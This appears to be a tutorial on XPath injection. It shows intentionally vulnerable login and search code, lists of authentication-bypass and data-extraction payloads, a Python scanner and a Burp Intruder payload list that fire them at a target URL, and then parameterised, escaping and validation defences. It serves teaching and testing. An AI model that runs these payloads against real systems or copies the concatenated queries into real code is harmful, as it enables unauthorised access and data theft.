#XPath Injection

pythonfrom lxml import etree

def authenticate_user(username, password):
    # Load XML database
    tree = etree.parse('users.xml')

    # VULNERABLE: Direct string concatenation
    xpath_query = f"//user[username='{username}' and password='{password}']"

    # Execute query
    result = tree.xpath(xpath_query)

    if result:
        return True  # User authenticated
    return False

# Attack payload
username = "admin' or '1'='1"
password = "anything"

# Resulting query: //user[username='admin' or '1'='1' and password='anything']
# Returns admin user without password verification!

textUsername Injections:
' or '1'='1
' or 1=1 or ''='
admin' or '1'='1' or ''='
' or ''='

Password Injections:
' or '1'='1
anything' or 'x'='x

Combined:
Username: admin
Password: ' or '1'='1

xpathOriginal query:
//user[username='admin' and password='correctPass']

Injected query:
//user[username='admin' or '1'='1' and password='anything']

Result: Returns admin user because '1'='1' is always true

python# Vulnerable search function
def search_products(product_name):
    tree = etree.parse('products.xml')

    # VULNERABLE: No input sanitization
    xpath_query = f"//product[name='{product_name}']"

    results = tree.xpath(xpath_query)
    return results

# Normal search
search_products("Laptop")
# Query: //product[name='Laptop']
# Returns: Laptop products

# Malicious search - Extract all products
search_products("' or '1'='1")
# Query: //product[name='' or '1'='1']
# Returns: ALL products in database!

# Extract specific sensitive data
search_products("'] | //user[username='admin")
# Query: //product[name=''] | //user[username='admin']
# Returns: Admin user data from users section!

textAttack payloads using XPath functions:

Count nodes:
' or count(//user)>0 or ''='

Extract node names:
' or name(//user[1])='user' or ''='

Extract all text:
' or //text() or ''='

Access parent nodes:
' or //user/parent::* or ''='

Navigate XML structure:
' or //*/password or ''='

pythonimport requests
from urllib.parse import quote

def test_xpath_injection(target_url, param_name):
    """Test for XPath injection vulnerabilities"""

    test_payloads = [
        # Authentication bypass
        "' or '1'='1",
        "' or 1=1 or ''='",
        "admin' or '1'='1' or ''='",
        "' or ''='",
        "x' or 1=1 or 'x'='y",

        # Boolean tests
        "' or count(//user)>0 or ''='",
        "' or string-length(//user[1]/password)>0 or ''='",

        # Node extraction
        "'] | //user | //x[@'='",
        "'] | //* | //x[@'='",

        # Function tests
        "' or name()='user' or ''='",
        "' or local-name()='password' or ''='",

        # Parent node access
        "'] | //user/parent::* | //x[@'='"
    ]

    vulnerabilities = []
    baseline_response = None

    try:
        # Get baseline response
        baseline_response = requests.get(target_url, params={param_name: 'normaltest'})
    except Exception as e:
        print(f"[-] Error getting baseline: {e}")
        return []

    print(f"[*] Testing {target_url} parameter '{param_name}'...")

    for payload in test_payloads:
        try:
            response = requests.get(
                target_url,
                params={param_name: payload},
                timeout=5
            )

            # Check for vulnerability indicators
            if response.status_code != baseline_response.status_code:
                vulnerabilities.append({
                    'payload': payload,
                    'type': 'Status Code Change',
                    'severity': 'MEDIUM',
                    'status': response.status_code
                })
                print(f"[!] Status change with: {payload}")

            # Check for XPath errors
            xpath_errors = [
                'xpath',
                'XPathException',
                'xmlXPathEval',
                'XPath error',
                'XPath syntax error',
                'Invalid predicate',
                'Invalid expression'
            ]

            for error in xpath_errors:
                if error.lower() in response.text.lower():
                    vulnerabilities.append({
                        'payload': payload,
                        'type': 'XPath Error Message',
                        'severity': 'HIGH',
                        'error': error
                    })
                    print(f"[!] XPath error revealed with: {payload}")
                    break

            # Check for successful bypass (content changes)
            if len(response.text) > len(baseline_response.text) * 1.5:
                vulnerabilities.append({
                    'payload': payload,
                    'type': 'Possible Authentication Bypass',
                    'severity': 'CRITICAL',
                    'note': 'Significantly more content returned'
                })
                print(f"[!] CRITICAL: Possible bypass with: {payload}")

        except requests.exceptions.Timeout:
            print(f"[-] Timeout with payload: {payload}")
        except Exception as e:
            print(f"[-] Error testing '{payload}': {e}")

    return vulnerabilities

# Test your application
vulns = test_xpath_injection(
    'https://example.com/search',
    'q'  # Query parameter name
)

if vulns:
    print(f"\n[!] Found {len(vulns)} potential XPath injection vulnerabilities!")
    for vuln in vulns:
        print(f"  [{vuln['severity']}] {vuln['type']}: {vuln['payload']}")
else:
    print("[+] No XPath injection vulnerabilities detected")

python# Burp Intruder payload list for XPath injection
payloads = """
' or '1'='1
' or 1=1 or ''='
admin' or '1'='1' or ''='
' or ''='
x' or 1=1 or 'x'='y
'] | //user[@* or '1'='1'] | //x[@'='
'] | //* | //x[@'='
' or count(//user)>0 or ''='
' or string-length(//user[1]/password)>0 or ''='
' or substring(//user[1]/password,1,1)='a' or ''='
' or name()='user' or ''='
"""

# Configure Burp:
# 1. Set payload positions at vulnerable parameters
# 2. Load payloads from above list
# 3. Grep Match:
#    - xpath
#    - XPathException
#    - xmlXPathEval
#    - Invalid predicate
# 4. Check for status code changes
# 5. Compare response lengths

pythonfrom lxml import etree

def safe_authenticate(username, password):
    """Secure XPath authentication using parameterized queries"""

    tree = etree.parse('users.xml')

    # Method 1: Use XPath variables (lxml supports this)
    # SECURE: Parameters are passed separately
    xpath_query = "//user[username=$username and password=$password]"

    result = tree.xpath(
        xpath_query,
        username=username,
        password=password
    )

    if result:
        return {
            'authenticated': True,
            'username': result[0].find('username').text,
            'role': result[0].find('role').text
        }

    return {'authenticated': False}

# Attack payloads will NOT work
username = "admin' or '1'='1"
password = "anything"

# XPath treats these as literal strings, not code:
# username = "admin' or '1'='1" (the WHOLE string including quotes)
# password = "anything"
# No injection possible!

javascriptconst xpath = require('xpath');
const dom = require('xmldom').DOMParser;
const fs = require('fs');

function safeAuthenticate(username, password) {
  const xml = fs.readFileSync('users.xml', 'utf8');
  const doc = new dom().parseFromString(xml);

  // Method: Manually iterate and compare (most secure)
  // SECURE: No XPath injection possible

  const users = xpath.select('//user', doc);

  for (let user of users) {
    const userUsername = xpath.select('string(username)', user);
    const userPassword = xpath.select('string(password)', user);

    // Direct string comparison (no injection)
    if (userUsername === username && userPassword === password) {
      return {
        authenticated: true,
        username: userUsername,
        role: xpath.select('string(role)', user)
      };
    }
  }

  return { authenticated: false };
}

// Attack payloads will not work
const result = safeAuthenticate("admin' or '1'='1", "anything");
// This looks for EXACT match of username "admin' or '1'='1"
// No code execution - just string comparison

javaimport javax.xml.parsers.*;
import javax.xml.xpath.*;
import org.w3c.dom.*;
import java.io.File;

public class SecureXPathAuth {

    public static boolean authenticateUser(String username, String password) {
        try {
            // Parse XML
            DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
            DocumentBuilder builder = factory.newDocumentBuilder();
            Document doc = builder.parse(new File("users.xml"));

            // SECURE: Use XPath with variables
            XPathFactory xPathFactory = XPathFactory.newInstance();
            XPath xPath = xPathFactory.newXPath();

            // Set variables (parameterized)
            SimpleVariableResolver resolver = new SimpleVariableResolver();
            resolver.addVariable("username", username);
            resolver.addVariable("password", password);
            xPath.setXPathVariableResolver(resolver);

            // Parameterized query
            String xpathExpression = "//user[username=$username and password=$password]";

            XPathExpression expr = xPath.compile(xpathExpression);
            NodeList nodes = (NodeList) expr.evaluate(doc, XPathConstants.NODESET);

            return nodes.getLength() > 0;

        } catch (Exception e) {
            System.err.println("Authentication error: " + e.getMessage());
            return false;
        }
    }

    // Variable resolver for XPath parameters
    static class SimpleVariableResolver implements XPathVariableResolver {
        private Map<String, Object> variables = new HashMap<>();

        public void addVariable(String name, Object value) {
            variables.put(name, value);
        }

        @Override
        public Object resolveVariable(QName variableName) {
            return variables.get(variableName.getLocalPart());
        }
    }
}

pythonimport re
from html import escape

def sanitize_xpath_input(user_input):
    """Sanitize input for XPath queries"""

    # Method 1: Strict allowlist validation
    if not re.match(r'^[a-zA-Z0-9@._-]{3,50}$', user_input):
        raise ValueError("Invalid input format")

    return user_input

def escape_xpath_value(value):
    """Escape special XPath characters"""

    # XPath doesn't have standard escaping, so we need to be creative

    # If value contains both ' and ", we're in trouble with XPath 1.0
    # Best approach: Use concat function

    if "'" not in value:
        # Simple case: wrap in single quotes
        return f"'{value}'"
    elif '"' not in value:
        # No double quotes: wrap in double quotes
        return f'"{value}"'
    else:
        # Contains both: use concat function
        parts = value.split("'")
        quoted_parts = [f'"{part}"' if part else "''" for part in parts]
        return f"concat({', '.join(quoted_parts)})"

def safe_search_products(product_name):
    """Secure product search with escaping"""

    # Validate input
    if not product_name or len(product_name) > 100:
        return []

    tree = etree.parse('products.xml')

    # Escape the value
    escaped_name = escape_xpath_value(product_name)

    # Build query with escaped value
    xpath_query = f"//product[name={escaped_name}]"

    results = tree.xpath(xpath_query)
    return results

# Example usage
# Input: O'Reilly Books
# Escaped: concat("O", "'", "Reilly Books")
# Query: //product[name=concat("O", "'", "Reilly Books")]

pythonimport re
from typing import Any, Optional

class XPathInputValidator:
    """Comprehensive XPath input validation"""

    # Validation patterns
    USERNAME_PATTERN = r'^[a-zA-Z0-9._-]{3,20}$'
    EMAIL_PATTERN = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
    ALPHANUMERIC_PATTERN = r'^[a-zA-Z0-9\s]{1,100}$'

    # Dangerous XPath keywords
    XPATH_KEYWORDS = [
        'or', 'and', 'not', 'div', 'mod', 'union', '|',
        'parent::', 'ancestor::', 'following::', 'preceding::',
        'document', 'doc', 'collection'
    ]

    @staticmethod
    def validate_username(username: str) -> bool:
        """Validate username format"""
        return bool(re.match(XPathInputValidator.USERNAME_PATTERN, username))

    @staticmethod
    def validate_email(email: str) -> bool:
        """Validate email format"""
        return bool(re.match(XPathInputValidator.EMAIL_PATTERN, email))

    @staticmethod
    def check_dangerous_keywords(value: str) -> bool:
        """Check for dangerous XPath keywords"""
        value_lower = value.lower()

        for keyword in XPathInputValidator.XPATH_KEYWORDS:
            if keyword in value_lower:
                return False

        return True

    @staticmethod
    def sanitize_and_validate(value: str, input_type: str = 'alphanumeric') -> Optional[str]:
        """Sanitize and validate input"""

        # Check length
        if not value or len(value) > 100:
            raise ValueError("Input length invalid")

        # Remove dangerous characters
        dangerous_chars = ["'", '"', '/', '[', ']', '(', ')', '@', '*', '|', '\\']

        for char in dangerous_chars:
            if char in value:
                raise ValueError(f"Dangerous character detected: {char}")

        # Check for XPath keywords
        if not XPathInputValidator.check_dangerous_keywords(value):
            raise ValueError("Dangerous XPath keyword detected")

        # Type-specific validation
        if input_type == 'username':
            if not XPathInputValidator.validate_username(value):
                raise ValueError("Invalid username format")
        elif input_type == 'email':
            if not XPathInputValidator.validate_email(value):
                raise ValueError("Invalid email format")
        elif input_type == 'alphanumeric':
            if not re.match(XPathInputValidator.ALPHANUMERIC_PATTERN, value):
                raise ValueError("Invalid alphanumeric input")

        return value

# Usage
try:
    username = XPathInputValidator.sanitize_and_validate("admin' or '1'='1", 'username')
    # Raises: ValueError: Dangerous character detected: '
except ValueError as e:
    print(f"Invalid input: {e}")